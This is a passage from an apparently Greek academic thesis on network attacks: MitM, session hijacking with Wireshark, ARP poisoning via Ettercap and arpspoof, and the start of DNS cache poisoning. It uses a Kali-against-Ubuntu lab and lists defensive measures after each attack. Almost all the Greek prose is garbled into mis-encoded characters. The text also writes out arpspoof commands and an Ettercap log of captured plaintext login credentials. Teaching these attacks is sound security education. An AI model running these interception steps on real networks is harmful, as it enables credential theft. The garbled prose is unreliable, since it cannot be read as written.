3. Δπηβεβαίσζε Σαπηόηεηαο Ιζηόηνπσλ: Πάληα ν ρξήζηεο πξέπεη λα είλαη 

ζίγνπξνο όηη νη ηζηόηνπνη πνπ επηζθέπηεηαη ρξεζηκνπνηνύλ HTTPS. Η 

εκθάληζε ηνπ θιεηζηνύ θιεηδηνύ ή ηνπ ινπθέηνπ ζηε γξακκή δηεύζπλζεο είλαη 

έλδεημε αζθαινύο ζύλδεζεο.  

4. πλερήο Δλεκέξσζε Λνγηζκηθνύ: Να γίλεηαη ζπλερή ελεκέξσζε ηνπ 

ινγηζκηθνύ θαη ησλ πεξηεγεηώλ γηα λα δηνξζσζνύλ γλσζηέο εππάζεηεο πνπ 

ελδέρεηαη λα εθκεηαιιεύνληαη επηηηζέκελνη.  

5. Υξήζε Δξγαιείσλ Πξνζηαζίαο: Δγθαηάζηαζε antivirus θαη anti-malware 

ινγηζκηθό πνπ κπνξεί λα αληρλεύεη θαθόβνπιν ινγηζκηθό, 

ζπκπεξηιακβαλνκέλσλ εξγαιείσλ πνπ αληρλεύνπλ packet sniffers.  

6. Δθπαίδεπζε Υξεζηώλ: Δλεκέξσζε ησλ ρξεζηώλ γηα ηνπο θηλδύλνπο ησλ 

επηζέζεσλ MitM θαη εθπαίδεπζε γηα λα αλαγλσξίδνπλ αλσκαιίεο ζηηο 

ζπλδέζεηο ηνπο.  

7. Απζηεξέο Ρπζκίζεηο Γηθηύνπ: Δθαξκνγή απζηεξώλ ξπζκίζεσλ ζην δίθηπν, 

ζπκπεξηιακβαλνκέλεο ηεο ρξήζεο εξγαιείσλ παξαθνινύζεζεο εηδηθά ζε 

επηρεηξήζεηο ή αλ ππάξρνπλ πξνρσξεκέλεο αλάγθεο αζθαιείαο. 

 

πλνςίδνληαο, ε εθαξκνγή απηώλ ησλ πξνιεπηηθώλ κέηξσλ αλαδεηθλύεηαη σο 

νπζηαζηηθό βήκα γηα ηελ ελίζρπζε ηεο αζθάιεηαο θαη ηεο απνηξνπήο ησλ επηζέζεσλ 

Man-in-the-Middle κε ρξήζε packet sniffers. Η ρξήζε θξππηνγξαθεκέλεο 

επηθνηλσλίαο, ε επηβεβαίσζε ηεο ηαπηόηεηαο ησλ ηζηόηνπσλ, θαζώο θαη ν έιεγρνο 

ησλ δηθηπαθώλ ξπζκίζεσλ απνηεινύλ ζεκέιηα γηα ηελ εμάιεηςε εππαζεηώλ. Με ηελ 

ζπλνιηθή ηνπνζέηεζε απηώλ ησλ κέηξσλ, θαζίζηαηαη εθηθηό λα δηαζθαιηζηεί ε 

εκπηζηεπηηθόηεηα θαη ε αθεξαηόηεηα ησλ επηθνηλσληώλ, πξνζηαηεύνληαο 

απνηειεζκαηηθά ηα ζπζηήκαηα από ηελ επηθίλδπλε επίζεζε Man-in-the-Middle. 



 

Κεθάιαην 3
ν 
: Δπηζέζεηο Session Hijacking κε Packet Sniffer 

Η επίζεζε  

 

Άιιε κία επίζεζε πνπ ζα αλαιπζεί θαη ζα πινπνηεζεί, είλαη ε πεηξαηεία πεξηόδσλ 

ζύλδεζεο, γλσζηή θαη σο πεηξαηεία πεξηόδσλ (Session Hijacking) ζύλδεζεο TCP, 

είλαη κηα κέζνδνο αλάιεςεο κηαο πεξηόδνπ ζύλδεζεο ρξήζηε ηζηνύ κε ηελ θξπθή 

ιήςε ηνπ αλαγλσξηζηηθνύ ζπλεδξίαο θαη κεηακθηεζκέλσλ σο εμνπζηνδνηεκέλνπ 

ρξήζηε. Μόιηο γίλεη πξόζβαζε ζην αλαγλσξηζηηθό πεξηόδνπ ζύλδεζεο ηνπ ρξήζηε, ν 

εηζβνιέαο κπνξεί λα κεηακθηεζηεί ζε απηόλ ηνλ ρξήζηε θαη λα θάλεη νηηδήπνηε είλαη 

εμνπζηνδνηεκέλνο λα θάλεη ν ρξήζηεο ζην δίθηπν (Anastasios Arampatzis, 2023). 

 

Η επίζεζε Session Hijacking, γλσζηή θαη σο "session fixation" ή "session stealing", 

είλαη κηα επηζεηηθή ηερληθή πνπ απνζθνπεί ζην λα αθαηξέζεη ηνλ έιεγρν ηεο 

ζπλεδξίαο (session) ελόο ρξήζηε θαη λα αλαιάβεη ηνλ έιεγρν ηεο ζπλεδξίαο από 

θάπνηνλ επηηηζέκελν. 

 

Οη θύξηνη ηξόπνη επίζεζεο session hijacking πεξηιακβάλνπλ:  

 

 Κινπή Session Cookies: Ο επηηηζέκελνο κπνξεί λα θιέςεη ην session cookie 

ηνπ ρξήζηε, ην νπνίν ζπλήζσο πεξηιακβάλεη ην session ID, κέζσ ηεο ρξήζεο 

cross-site scripting (XSS) επηζέζεσλ, θαθόβνπισλ browser extensions ή 

άιισλ ηερληθώλ.  

 

 Δπίζεζε από δηαθνκηζηή εθ κέξνπο ηνπ επηηηζέκελνπ (Server-Side 

Attacks): Ο επηηηζέκελνο πξνζπαζεί λα αλαιάβεη ηνλ έιεγρν ηνπ session από 

ηελ πιεπξά ηνπ δηαθνκηζηή, παξαβηάδνληαο επάισηεο ζπλεδξίεο ή 

ρξεζηκνπνηώληαο επάισηνπο δηαθνκηζηέο.  

 

 Απάηε κέζσ phishing: Ο επηηηζέκελνο κπνξεί λα παξαπιαλήζεη ηνλ ρξήζηε 

κε phishing επηζέζεηο γηα λα παξαδώζεη ην session ID ηνπ ρξήζηε. 

 



 

To TCP session hijacking είλαη κηα επίζεζε αζθαιείαο ζε κηα πεξίνδν ιεηηνπξγίαο 

ρξήζηε κέζσ ελόο πξνζηαηεπκέλνπ δηθηύνπ. Η πην θνηλή κέζνδνο παξαβίαζεο 

ζπλεδξίαο νλνκάδεηαη πιαζηνγξάθεζε IP, όηαλ έλαο εηζβνιέαο ρξεζηκνπνηεί παθέηα 

IP δξνκνινγεκέλα από πεγή γηα λα εηζαγάγεη εληνιέο ζε κηα ελεξγή επηθνηλσλία 

κεηαμύ δύν θόκβσλ ζε έλα δίθηπν θαη λα κεηακθηεζηεί σο έλαο από ηνπο 

επαιεζεπκέλνπο ρξήζηεο. Απηόο ν ηύπνο επίζεζεο είλαη δπλαηόο επεηδή ν έιεγρνο 

ηαπηόηεηαο πξαγκαηνπνηείηαη ζπλήζσο κόλν ζηελ αξρή κηαο πεξηόδνπ ιεηηνπξγίαο 

TCP.  

 

Οη πην δεκνθηιείο έλνρνη γηα ηε δηεμαγσγή κηαο session hijacking είλαη ην session 

sniffing, ην πξνβιέςηκν αλαγλσξηζηηθό δηαθξηηηθνύ πεξηόδνπ ιεηηνπξγίαο (session 

token ID), ν άλζξσπνο ζην πξόγξακκα πεξηήγεζεο (man in the browser), ε 

δεκηνπξγία δέζκεο ελεξγεηώλ κεηαμύ ηνπνζεζηώλ (cross-site scripting), ε παξαβίαζε 

ζπλεδξίαο (session sidejacking) θαη ε θαζήισζε ζπλεδξίαο (session fixation) 

(Anastasios Arampatzis, 2023). 

 

Έλαο άιινο ηύπνο session hijacking είλαη γλσζηόο σο επίζεζε man-in-the-middle, 

όπνπ ν εηζβνιέαο, ρξεζηκνπνηώληαο έλαλ packet sniffer, κπνξεί λα παξαηεξήζεη ηελ 

επηθνηλσλία κεηαμύ ησλ ζπζθεπώλ θαη λα ζπιιέμεη ηα δεδνκέλα πνπ κεηαδίδνληαη 

(Νetadminworld, 2020).  

 

H παξαπάλσ επίζεζε είλαη απηή πνπ ζα παξνπζηαζηεί ζε απηό ην θεθάιαην κε ηελ 

βνήζεηα ηνπ Wireshark γηα λα θιέςεη ν θαθόβνπινο ηελ επηθνηλσλία ηνπ δηθηύνπ κε 

ηνλ ππνινγηζηή ηνπ ζύκαηνο - Ubuntu πνπ πινπνηήζεθε παξαπάλσ. 

 

Δληνιέο γηα ηελ επίζεζε 

 

ηελ αξρή δειώλνληαη πνηεο είλαη νη δηεπζύλζεηο IP πνπ ζα ρξεζηκνπνηεζνύλ γηα 

απηή ηελ επίζεζε θαη είλαη νη αθόινπζεο: 

1. Ubuntu 10.0.2.15 

2. Network 10.0.2.1 

3. Kali linux 10.0.2.4 



 

Παξαθάησ παξνπζηάδεηαη θαη ζε θσηνγξαθίεο όιε ηελ δηαδηθαζία βήκα βήκα: 

Όπσο παξαηεξείηαη, κόιηο μεθηλήζεη κε ην start ην Wireshark γηα λα θαηαγξάςεη ηελ 

θίλεζε ζην δίθηπν, νξίδεηαη ην θίιηξν γηα λα βξεη ηηο δηεπζύλζεηο ηνπ ΗΣΣP. Δθεί 

είλαη πνπ γίλεηαη capture ην username θαη ην password ηνπ ρξήζηε, ζηελ πεξίπησζε 

απηή είλαη ηα ζηνηρεία ελόο εηθνληθνύ ρξήζηε, θαζώο θαη ηελ δηεύζπλζε πνπ έγηλε ε 

ζύλδεζε απηή. 

 

 

 

Δηθόλα 8: Οξηζκόο θίιηξνπ θαη αλάιπζε απνηειεζκάησλ ζην Wireshark 

 

Δπίζεο ν επηηηζέκελνο καζαίλεη όιεο ηηο ρξήζηκεο πιεξνθνξίεο γηα απηό ην site. 

Πιεξνθνξίεο όπσο θσδηθόο ρξήζηε, όλνκα ρξήζηε, δηεύζπλζε ζύλδεζεο 

πξσηόθνιιν πνπ έρεη ε δηεύζπλζε απηή. 

 



 

 

Δηθόλα 9: Αλάιπζε απνηειεζκάησλ θαη εύξεζε ζηνηρείσλ ηνπ ζύκαηνο πνπ θιάπεθαλ 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε Session Hijacking κε Packet Sniffer 

 

Οη επηζέζεηο απηνύ ηνπ είδνπο κπνξνύλ λα έρνπλ ζνβαξέο ζπλέπεηεο ηόζν γηα ρξήζηεο 

όζν θαη γηα επηρεηξήζεηο, παξαβηάδνληαο ηελ ηδησηηθόηεηα, παξεκπνδίδνληαο ηελ 

πξόζβαζε ζε ινγαξηαζκνύο, θαη δεκηνπξγώληαο επθαηξίεο γηα παξάλνκε 

δξαζηεξηόηεηα. Γηα ηελ πξνζηαζία από ηελ επίζεζε session hijacking, είλαη 

ζεκαληηθό λα ιεθζνύλ κέηξα όπσο ηα παξαθάησ:  

 Υξήζε HTTPS: Η ρξήζε αζθαιώλ ζπλδέζεσλ HTTPS εληζρύεη ηελ 

αζθάιεηα ησλ session cookies θαη κεηώλεη ηνλ θίλδπλν session hijacking.  

 Γηαρείξηζε πλεδξηώλ: Αλάπηπμε αζθαιώλ κεραληζκώλ δηαρείξηζεο 

ζπλεδξηώλ ζηηο εθαξκνγέο θαη ρξήζε αζθαιώλ cookies.  

 Δθπαίδεπζε ρξεζηώλ: Δθπαίδεπζε ησλ ρξεζηώλ ζρεηηθά κε ηνλ θίλδπλν ηνπ 

phishing θαη ηελ αλάγλσζε πξνζεθηηθά ησλ email θαη ησλ ζπλδέζκσλ.  

 Παξαθνινύζεζε θαη Αλίρλεπζε: Χξήζε ιύζεσλ αλίρλεπζεο απεηιώλ γηα 

ηνλ εληνπηζκό ηεο session hijacking θαη άκεζε αληίδξαζε ζε απηή. 

Η ελίζρπζε ηεο πξνζηαζίαο από ηελ επίζεζε session hijacking απαηηεί επίζεο ηε 

ζπλερή επαγξύπλεζε θαη ηελ παξαθνινύζεζε ηνπ θπβεξλνρώξνπ γηα λα 

αληηκεησπίδνληαη λέεο απεηιέο θαη εππάζεηεο. Η ζπλεξγαζία κε εμεηδηθεπκέλα 

εξγαιεία αλίρλεπζεο απεηιώλ θαη ε ακειεηέα αληίδξαζε ζε επηζέζεηο είλαη 

νπζηαζηηθή γηα ηελ αζθάιεηα ησλ δηθηύσλ θαη ησλ δεδνκέλσλ. 



 

Κεθάιαην 4
ν 
: Δπηζέζεηο Session Hijacking κε IP Spoofing 

Η επίζεζε  

 

Σν Session Hijacking κε IP Spoofing είλαη κηα εμεδεηεκέλε κνξθή επίζεζεο πνπ 

απνζθνπεί ζην λα θιέςεη ηνλ έιεγρν κηαο ελεξγνύ ζπλεδξίαο (session) ελόο ρξήζηε 

ρξεζηκνπνηώληαο ςεύηηθε δηεύζπλζε IP.  

 

ηελ θιαζηθή επίζεζε session hijacking, ν επηηηζέκελνο θιέβεη ην session ID ηνπ 

ρξήζηε ή αλαιακβάλεη ηνλ έιεγρν ηεο ζπλεδξίαο. Ωζηόζν, ζηελ πεξίπησζε ηνπ IP 

Spoofing, ν επηηηζέκελνο πξνζπαζεί λα αιινηώζεη ηελ δηεύζπλζε IP πνπ 

ρξεζηκνπνηείηαη γηα ηελ επίζεζε, θαζηζηώληαο ηελ δύζθνιε ή αδύλαηε ηελ αλίρλεπζε 

ηεο πξαγκαηηθήο πεγήο ηεο επίζεζεο (Κσλζηαληίλνο Μακαξέιεο, 2015). 

 

TCP Session νλνκάδεηαη ε ζύλδεζε πνπ έρεη θαζηεξσζεί, κεηά ηελ 3-way handshake, 

αλάκεζα ζε δύν νηθνδεζπόηεο. Έλαο ππνινγηζηήο κπνξεί λα έρεη πνιιέο ζπλεδξίεο κε 

άιινπο ππνινγηζηέο, επνκέλσο όηαλ ιακβάλεη ην παθέην, πξέπεη λα γλσξίδεη ζε πνην 

TCP ζύλνδν αλήθεη απηό ην παθέην. 

 

Η έλλνηα ηνπ Spoofing είλαη όηαλ έλαο θαθόβνπινο θάπνηνο πξνζπνηείηαη πσο είλαη 

θάπνηνο άιινο λόκηκνο ρξήζηεο. Απηή είλαη κηα ηερληθή πνπ ρξεζηκνπνηείηαη γηα ηελ 

απόθηεζε κε εμνπζηνδνηεκέλεο πξόζβαζεο ζηνλ ππνινγηζηή κε κηα δηεύζπλζε IP 

ελόο αμηόπηζηνπ θεληξηθνύ ππνινγηζηή.  

 

Καηά ηελ εθαξκνγή απηήο ηεο ηερληθήο, ν εηζβνιέαο πξέπεη λα απνθηήζεη ηε 

δηεύζπλζε IP ηνπ πειάηε θαη λα εηζάγεη ηα δηθά ηνπ παθέηα πιαζηνγξαθεκέλα κε ηε 

δηεύζπλζε IP ηνπ πειάηε ζηε ζπλεδξία TCP, έηζη ώζηε λα μεγειάζεη ηνλ δηαθνκηζηή 

όηη επηθνηλσλεί κε ην ζύκα, δειαδή ηνλ αξρηθό θεληξηθό ππνινγηζηή. 



 

 

πγθεθξηκέλα, ηα βήκαηα πνπ αθνινπζεί ν επηηηζέκελνο ζην Session Hijacking κε IP 

Spoofing πεξηιακβάλνπλ:  

 

1. Καηάθηεζε ηνπ Session ID: Ο επηηηζέκελνο πξέπεη λα απνθηήζεη ην Session 

ID ηνπ ζύκαηόο ηνπ, πνπ κπνξεί λα γίλεη κε πνηθίινπο ηξόπνπο, όπσο κέζσ 

θινπήο cookies, XSS επηζέζεσλ, ή άιισλ ηερληθώλ.  

2. Αλάιπζε ηεο Σξέρνπζαο πλεδξίαο: Ο επηηηζέκελνο πξέπεη λα θαηαλνήζεη 

ηελ ηξέρνπζα ζπλεδξία θαη ηνλ ηξόπν πνπ ιεηηνπξγεί, ώζηε λα κπνξέζεη λα 

αλαιάβεη ηνλ έιεγρν.  

3. Γεκηνπξγία ςεύηηθεο δηεύζπλζεο IP: Ο επηηηζέκελνο ρξεζηκνπνηεί ηελ 

ηερληθή ηνπ IP Spoofing γηα λα αιινηώζεη ηελ δηεύζπλζε IP πνπ 

ρξεζηκνπνηείηαη ζηελ επίζεζε, θαζηζηώληαο ηνλ εαπηό ηνπ δύζθνιν λα 

εληνπηζηεί.  

4. Αλαιακβάλνληαο ηνλ Έιεγρν ηεο πλεδξίαο: Αθνύ αιινηώζεη ηελ 

δηεύζπλζε IP, ν επηηηζέκελνο πξνζπαζεί λα αλαιάβεη ηνλ έιεγρν ηεο 

ζπλεδξίαο, θάλνληαο ην ζύζηεκα λα πηζηεύεη όηη είλαη ν λόκηκνο ρξήζηεο. 

 

Σν Session Hijacking κε IP Spoofing είλαη πνιύ επηθίλδπλν, θαζώο ε ςεύηηθε 

δηεύζπλζε IP δπζθνιεύεη ηελ αλίρλεπζε ηνπ επηηηζέκελνπ. Γηα ηελ πξνζηαζία από 

ηέηνηνπ είδνπο επηζέζεηο, είλαη ζεκαληηθό λα πηνζεηήζεηε αζθαιείο πξαθηηθέο 

θπβεξλναζθάιεηαο, όπσο ε ρξήζε HTTPS, ε αλίρλεπζε αλσκαιηώλ ζηελ θπθινθνξία 

δεδνκέλσλ, θαη ε πξνζηαζία ηνπ Session ID ησλ ρξεζηώλ. 

 



 

Σo ζελάξην πνπ ζα εμεηαζηεί ζε απηό ην θεθάιαην, είλαη έλα session Hijacking πνπ 

ζα πινπνηεζεί κε ηελ βνήζεηα ηνπ Wireshark θαη ηνπ Ettercap κε ηελ κέζνδν ηνπ 

APR Poisoning.  

 

Απηή ε κνξθή επίζεζεο ζπκβαίλεη όηαλ έλαο εηζβνιέαο αιιάδεη ηε δηεύζπλζε Media 

Access Control (MAC) θαη επηηίζεηαη ζε έλα LAN Ethernet αιιάδνληαο ηελ 

πξνζσξηλή κλήκε ARP ηνπ ππνινγηζηή-ζηόρνπ κε έλα πιαζηό αίηεκα ARP θαη 

παθέηα απάληεζεο. Απηό ηξνπνπνηεί ην επίπεδν όπνπ ε δηεύζπλζε MAC Ethernet 

αιιάδεη ζηε γλσζηή δηεύζπλζε MAC ηνπ ράθεξ κε ζθνπό ηελ παξαθνινύζεζε ηεο. 

Οη απαληήζεηο ARP είλαη πιαζηέο θαη επνκέλσο ν ππνινγηζηήο-ζηόρνο ζηέιλεη 

αθνύζηα ηα παθέηα ζηνλ ππνινγηζηή ηνπ ράθεξ αληί λα ηα ζηείιεη ζηνλ αξρηθό 

πξννξηζκό. Σν απνηέιεζκα είλαη ηόζν ηα δεδνκέλα όζν θαη ην απόξξεην ηνπ ρξήζηε 

λα παξαβηάδνληαη. Μηα απνηειεζκαηηθή απόπεηξα δειεηεξίαζεο ARP δελ κπνξεί λα 

αληρλεπζεί ζηνλ ρξήζηε. 

 

Δληνιέο γηα ηελ επίζεζε 

 

Αξρηθά γηα ηελ επίζεζε απηή, γίλεηαη ε δειώλεη ν θαθόβνπινο ρξήζηεο ζην Ettercap, 

αθνύ γίλεη αλίρλεπζε ησλ host πνπ είλαη ζπλδεδεκέλνη ζην δίθηπν, πνηνη ζα είλαη νη 

δύν ζηόρνη. ηελ πεξίπησζε απηή είλαη ν Ubuntu – 10.0.2.15 θαη δεύηεξνο ζηόρνο ην 

δίθηπν 10.0.2.1. 

 

Αθνύ νξηζηνύλ νη ζηόρνη επηιέγεηαη ε κέζνδνο ηνπ ARP Poisoning θαη μεθηλάεη ε 

δηαδηθαζία γηα λα γίλνπλ capture ηα δεδνκέλα ηνπ Ubuntu κε ην δίθηπν. Σαπηόρξνλα 

γίλεηαη θαη έλα arpspoof κε ηηο αθόινπζεο εληνιέο:  

 

 arpspoof –i eht0 -t 10.0.2.15 10.0.2.1  

Σαπηόρξνλα ζε έλα αθόκα terminal:   

 arpspoof –i eht0 -t 10.0.2.1 10.0.2.15.  



 

Αθνύ γίλνπλ απηά ηα βήκαηα αλνίγεη ν επηηηζέκελνο ην Wireshark ζην eth0 θαη 

αξρίδεη λα θάλεη capture παθέηα. Δπίζεο ηξέρεη θαη ζην terminal ηνπ Ubuntu ηελ 

εληνιή ping 10.0.2.4 γηα λα βεβαησζεί πσο έρεη γίλεη ην spoofing. 

 

 

Δηθόλα 10: Η εληνιή ping 10.0.2.4 γηα λα βεβαησζεί ν επηηηζέκελνο πσο έρεη γίλεη ην spoofing. 

ε απηό ην ζεκείν ιακβάλνληαη ηα παθέηα ηνπ 10.0.2.15 πνπ ζηέιλεη ζην δίθηπν 

10.0.2.1.  

 

 

Δηθόλα 11: Λακβάλνληαη ηα παθέηα TCP ηνπ 10.0.2.15 πνπ ζηέιλεη ζην δίθηπν 10.0.2.1 

 



 

Δπνκέλσο, ν επηηηζέκελνο ζε απηό ην ζεκείν κπνξεί λα δεη ιεπηνκέξεηεο, όπσο ηα 

πξσηόθνιια πνπ ρξεζηκνπνηεί, ηα ports, destination port, source port, acknowledge 

number θ.α. πνπ επηθνηλσλεί αιιά θαη ηηο πιεξνθνξίεο πνπ ρξεζηκνπνηεί. 

Παξάδεηγκα πνπ αλαθέξεηαη θαη ζηελ πην πάλσ ελόηεηα κε ηελ θινπή ησλ ζηνηρείσλ 

ηνπ username & password. 

 

 

Δηθόλα 12: Ο επηηηζέκελνο βιέπεη ιεπηνκέξεηεο, όπσο ηα πξσηόθνιια πνπ ρξεζηκνπνηεί, ηα ports, 

destination port, source port, acknowledge number θ.α. 

 

ε άιιε κία πεξίπησζε κπνξεί θάπνηνο θαθόβνπινο λα θάλεη ηα αθόινπζα: 

 

Όπσο θαίλεηαη θαη ζηηο παξαθάησ θσηνγξαθίεο γίλεηαη login ζε δύν δηαθνξεηηθά 

HTTP ηζηνζειίδεο από ηνλ ππνινγηζηή ηνπ Ubuntu θαη ζην Ettercap ηνπ επηηηζέκελνπ 

ππνινγηζηή Kali Linux όπνπ ιακβάλνληαη νη πιεξνθνξίεο ηνπ ρξήζηε σο εμήο: 

 



 

 

Δηθόλα 13: Οξηζκόο ησλ ζηόρσλ ζηελ εθαξκνγή Ettercap. 

 

 

Δηθόλα 14: θαλάξηζκα θαη νξηζκόο ησλ ζηόρσλ ζηελ εθαξκνγή Ettercap. 

 

ηελ πξώηε θαη δεύηεξε θσηνγξαθία θαίλεηαη πσο ην Ettercap έρεη βξεη ηηο ΙΡ ηνπ 

ζύκαηνο δειαδή ηνπ Ubuntu κε δηεύζπλζε 10.0.2.15 θαη ηνπ δηθηύνπ 10.0.2.1. θαη 

έρνπλ νξηζηεί νη ζηόρνη. 

 



 

 

Δηθόλα 15: Δπίζεζε κέζσ ηνπ ARP Poisoning θαη γίλνληαη capture ηα δεδνκέλα πνπ δίλεη ν ρξήζηεο. 

 

ε απηό ην ζεκείν μεθηλάεη ε επίζεζε κέζσ ηνπ ARP Poisoning θαη γίλνληαη capture 

ηα δεδνκέλα πνπ δίλεη ν ρξήζηεο θαη ζπλδέεηαη ζην dashboard απηνύ ηνπ ηζηνηόπνπ. 

Σα δεδνκέλα απηά ηα βιέπεη ν επηηηζέκελνο ζηνλ ππνινγηζηή ηνπ Κali linux ζηελ 

αξηζηεξή νζόλε θαη ζηελ δεμηά θαίλεηαη ε επηηπρεκέλε πξνζπάζεηα ηνπ Ubuntu λα 

ζπλδεζεί κε ηα credentials ηνπ ζην site. 

 

 

Δηθόλα 16: Γίλνληαη capture ησλ credential θαη ζηελ απνηπρεκέλε πξνζπάζεηα ηνπ ρξήζηε λα ζπλδεζεί ζην 

site. 

 



 

ηελ παξαπάλσ πεξίπησζε παξνπζηάδεηαη πσο γίλνληαη capture ησλ credential θαη 

ζηελ απνηπρεκέλε πξνζπάζεηα ηνπ ρξήζηε λα ζπλδεζεί ζην dashboard ηνπ site.  

 

ηελ παξαθάησ εηθόλα θαίλνληαη θαη ηα απνηειέζκαηα πνπ έιαβε ν επηηηζέκελνο από 

ηηο δύν πξνζπάζεηεο ηνπ λα ζπλδεζεί ζε 2 ηζηνηόπνπο κε ΗΣΣP πξσηόθνιιν. 

Δπνκέλσο ιακβάλνληαη όρη κόλν ηηο δηεπζύλζεηο ησλ site πνπ πξνζπάζεζε λα 

ζπλδεζεί αιιά θαη ηνπο θσδηθνύο πνπ ρξεζηκνπνηεί θαηά ηελ πξνζπάζεηά απηή. ηελ 

κία πεξίπησζε νη θσδηθνί είλαη ζσζηνί θαη ζηελ άιιε είλαη ιαλζαζκέλνη. Παξόια 

απηά έρεη θαηαγξαθεί όιε ηελ θίλεζή ηνπ ζύκαηνο. 

 

 

Δηθόλα 17: Σα απνηειέζκαηα πνπ έιαβε ν επηηηζέκελνο από ηηο δύν πξνζπάζεηεο ηνπ λα ζπλδεζεί ζε 2 

ηζηνηόπνπο κε ΗΣΣP πξσηόθνιιν. 

 

Όια ηα δεδνκέλα ζε απηό ην capture πνπ έγηλε αλαγξάθνληαη αλαιπηηθά θαη 

παξαθάησ σο εμήο: 

Listening on: 

  eth0 -> 08:00:27:E6:B8:0A 

 10.0.2.4/255.255.255.0 

 fe80::a00:27ff:fee6:b80a/64 

 

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file 

Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. 

Privileges dropped to EUID 65534 EGID 65534... 

 

  34 plugins 

  42 protocol dissectors 

http://10.0.2.4/255.255.255.0


 

  57 ports monitored 

28230 mac vendor fingerprint 

1766 tcp OS fingerprint 

2182 known services 

Lua: no scripts were specified, not starting up! 

Starting Unified sniffing... 

 

Randomizing 255 hosts for scanning... 

Scanning the whole netmask for 255 hosts... 

4 hosts added to the hosts list... 

Host 10.0.2.15 added to TARGET1 

Host 10.0.2.1 added to TARGET2 

 

ARP poisoning victims: 

 GROUP 1 : 10.0.2.15 08:00:27:BD:69:C2 

 GROUP 2 : 10.0.2.1 52:54:00:12:35:00 

 

HTTP : 72.52.251.71:80 -> USER: admin@google.com  PASS: Password2010 

 INFO: http://techpanda.org/index.php 

CONTENT: email=admin%40google.com&password=Password2010 

 

HTTP : 63.250.43.5:80 -> USER: admin1  PASS: admin2  INFO: http://kfmarathon.edu.gr/my-account/ 

CONTENT: log=admin1&pwd=admin2&wp-

submit=%CE%A3%CF%8D%CE%BD%CE%B4%CE%B5%CF%83%CE%B7 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε Session Hijacking κε IP Spoofing 

 

Η αληηκεηώπηζε ηεο επίζεζεο Session Hijacking κε ρξήζε IP Spoofing απαηηεί 

πξνιεπηηθά κέηξα θαη απνηξεπηηθέο ηερληθέο γηα ηε δηαζθάιηζε ηεο αζθάιεηαο ησλ 

ζπλεδξηώλ (sessions) θαη ησλ εθαξκνγώλ. Παξαθάησ παξνπζηάδνληαη νξηζκέλα 

βήκαηα πνπ κπνξεί θάπνηνο λα αθνινπζήζεη γηα λα αληηκεησπίζεη απηνύ ηνπ είδνπο 

επηζέζεηο:  

 

1. Κξππηνγξαθία θαη HTTPS: Χξήζε θξππηνγξάθεζεο κε ην πξσηόθνιιν 

HTTPS. Απηό δηαζθαιίδεη ηνλ αζθαιή αληαιιαγή δεδνκέλσλ κεηαμύ ηνπ 

πεξηεγεηή ηνπ ρξήζηε θαη ηνπ δηαθνκηζηή.  

2. Αζθαιείο πλεδξίεο (Secure Sessions): Δθαξκνγή πξαθηηθώλ δηαρείξηζεο 

ζπλεδξηώλ πνπ λα πεξηιακβάλνπλ αζθαιείο κεζόδνπο γηα ηε δεκηνπξγία θαη 

ηελ απνζήθεπζε ησλ Session IDs.  

http://72.52.251.71/
mailto:admin@google.com
http://techpanda.org/index.php
http://40google.com/
http://63.250.43.5/
http://kfmarathon.edu.gr/my-account/


 

3. πρλόο Έιεγρνο θαη Αλίρλεπζε: Δθαξκνγή ζπζηεκάησλ παξαθνινύζεζεο 

θαη αλίρλεπζεο αλσκαιηώλ ζηελ θπθινθνξία ησλ δεδνκέλσλ. Απηά ηα 

ζπζηήκαηα κπνξνύλ λα αληρλεύζνπλ αηπρήκαηα όπσο αιινίσζε ηεο 

δηεύζπλζεο IP ή ύπνπηεο δξαζηεξηόηεηεο πνπ ζρεηίδνληαη κε Session 

Hijacking.  

4. Υξήζε Σερλνινγηώλ Γηπινύ Παξαθνινύζεζεο (Multi-Factor 

Authentication): Η εθαξκνγή ηεο δηπιήο παξαθνινύζεζεο, όπσο ε ρξήζε 

θσδηθώλ πξόζβαζεο θαη επηβεβαίσζεο κέζσ SMS, εληζρύεη ηελ αζθάιεηα 

εηζόδνπ ζε ινγαξηαζκνύο θαη κεηώλεη ηνλ θίλδπλν Session Hijacking.  

5. Δθπαίδεπζε ησλ Υξεζηώλ: Δθπαίδεπζε ησλ ρξεζηώλ λα αλαγλσξίδνπλ θαη 

λα αληηκεησπίδνπλ ηηο πξνζπάζεηεο phishing πνπ κπνξεί λα νδεγήζνπλ ζε 

Session Hijacking.  

6. Πεξηνδηθέο Δλεκεξώζεηο θαη Δλίζρπζε Πξνζηαζίαο: Πξνζαξκνγή θαη 

ελεκέξσζε ησλ κέηξσλ αζθαιείαο ζπζηεκαηηθά, ιακβάλνληαο ππόςε ηηο λέεο 

απεηιέο θαη ηερληθέο επίζεζεο.  

 

Η αζθάιεηα ησλ ζπλεδξηώλ είλαη έλαο δηαξθήο αγώλαο, θαη ε πηνζέηεζε 

νινθιεξσκέλεο πξνζέγγηζεο πνπ ζπλδπάδεη ηερληθέο, πξαθηηθέο θαη εθπαηδεπηηθέο 

πηπρέο είλαη θαζνξηζηηθή γηα ηελ αληηκεηώπηζε ησλ πξνθιήζεσλ πνπ πξνθύπηνπλ 

από ηελ επίζεζε Session Hijacking κε ρξήζε IP Spoofing. 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

Κεθάιαην 5
ν 
: Δπηζέζεηο DNS Cache Poisoning  

Η επίζεζε  

 

ε απηή ηελ ελόηεηα ζα αλαιπζεί θαη πινπνηεζεί ε επίζεζε DNS Cache Poisoning. 

Απνηειεί κηα εμαηξεηηθά επηθίλδπλε θαη δηαθξηηηθή ηερληθή επίζεζεο ζην δηαδίθηπν, 

πνπ εθκεηαιιεύεηαη ηηο αδπλακίεο ζηε ιεηηνπξγία ηνπ Domain Name System (DNS). 

Σν DNS, πνπ ιεηηνπξγεί σο ν "θαηάινγνο" πνπ κεηαθξάδεη ηα αλζξώπηλα 

αλαγλσξίζηκα νλόκαηα ησλ ηζηόηνπσλ ζε δηεπζύλζεηο IP, είλαη θξίζηκν γηα ηε ζσζηή 

ιεηηνπξγία ηνπ Γηαδηθηύνπ.  

 

Η επίζεζε DNS Cache Poisoning ζηνρεύεη ζηε ρξήζε θαθόβνπισλ ηερληθώλ γηα ηε 

πξνζσξηλή απνζήθεπζε (caching) ησλ πιαζηώλ δηεπζύλζεσλ ζηνπο DNS servers, κε 

